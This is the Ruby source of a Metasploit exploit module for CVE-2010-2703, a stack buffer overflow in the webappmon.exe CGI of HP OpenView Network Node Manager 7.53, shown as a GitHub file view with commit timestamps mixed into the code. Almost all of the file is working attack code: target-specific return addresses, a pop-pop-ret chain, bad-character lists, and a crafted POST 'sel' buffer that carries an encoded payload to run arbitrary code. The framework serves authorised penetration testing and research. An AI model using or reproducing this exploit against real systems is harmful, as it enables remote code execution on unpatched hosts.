metasploit-framework/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb

165 lines
5.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }
include Msf::Exploit::Remote::HttpClient
#include Msf::Exploit::Remote::Seh
def initialize(info={})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
cause a stack-based buffer overflow and execute arbitrary code.
This vulnerability is not triggerable via a GET request due to limitations on the
request size. The buffer being targetted is 16384 bytes in size. There are actually two
adjacent buffers that both get overflowed (one into the other), and strcat is used.
The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
overwriting the saved return address or SEH frame.
This vulnerability might also be triggerable via other CGI programs, however this was
not fully investigated.
} ,
'Author' =>
[
'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #6 PoC and binary analysis
'sinn3r',
'jduck' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-2703' ],
[ 'BID', '41829' ],
[ 'ZDI', '10-137' ],
2013-08-30 21:28:54 +00:00
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ]
],
'Payload' =>
{
'Space' => 1024, # 16384 buffer..
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x24\x2c\x3b\x60",
'DisableNops' => true,
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
{
'Ret' => 0x5a02aacf, # pop edx/pop ebp/ret - in ov.dll (v1.30.12.29)
}
],
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
{
'Ret' => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
}
],
[ 'Debug Target',
{
'Ret' => 0xdeadbeef, # crasher
}
]
],
'DisclosureDate' => 'Jul 20 2010'))
end
def exploit
print_status("Trying target #{target.name}...")
cgi = '/OvCgi/webappmon.exe'
#
# [ char CommandLine[16384] ][ char Parameters[16384] ]
#
# The first buffer gets smashed into the second, and a strcat is used on the second as well.
# Therefore, we get an addative overflow.
#
# Parameters before strcat
param_beg = "std \\\\.\\pipe\\OVSystem\\stdout\\0000038c00000001 \\\\.\\pipe\\OVSystem\\stderr\\0000038c00000001 "
# CommnadLine before / after strcat
cmd_beg = "OVcmd "
cmd_beg << param_beg
cmd_beg << "ping.exe -n 3 \""
cmd_end = "\" "
# Other actions include: rping demandPoll natping locateRoute
# And more...
action = 'ping'
# The buffer size is 16384, but we need to send enough extra so that we can still
# overwrite the saved return address etc..
bufsz = 16384 + param_beg.length
# These addresses are within ov.dll
ptr_to_zero = 0x5a066fff
ptr_to_nonzero = 0x5a06706f
ptr_to_ppr = target.ret
ptr_to_ret = target.ret + 2
payload_off = 578 # re-used pointer on the stack
fixret_off = 16394
fixret = [
ptr_to_ppr,
# stay alive til ret
ptr_to_zero,
ptr_to_nonzero
]
# ret slide down to within 2 pops :)
((0x40 / 4) - 3).times {
fixret << ptr_to_ret
}
# use the ppr to jump the last two, and go to the ptr
fixret << ptr_to_ppr
fixret = fixret.pack('V*')
buf = ''
buf << rand_text(bufsz - cmd_end.length)
buf[fixret_off, fixret.length] = fixret
# Put the payload in.
buf[payload_off, payload.encoded.length] = payload.encoded
# Slice off the start (so pattern_offset returns offset from beginning
buf.slice!(0, cmd_beg.length)
res = send_request_cgi({
'uri' => cgi,
'method' => "POST",
'vars_post' =>
{
'ins' => 'nowait',
'sel' => buf,
'act' => action
}
}, 3)
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
end
handler
end
end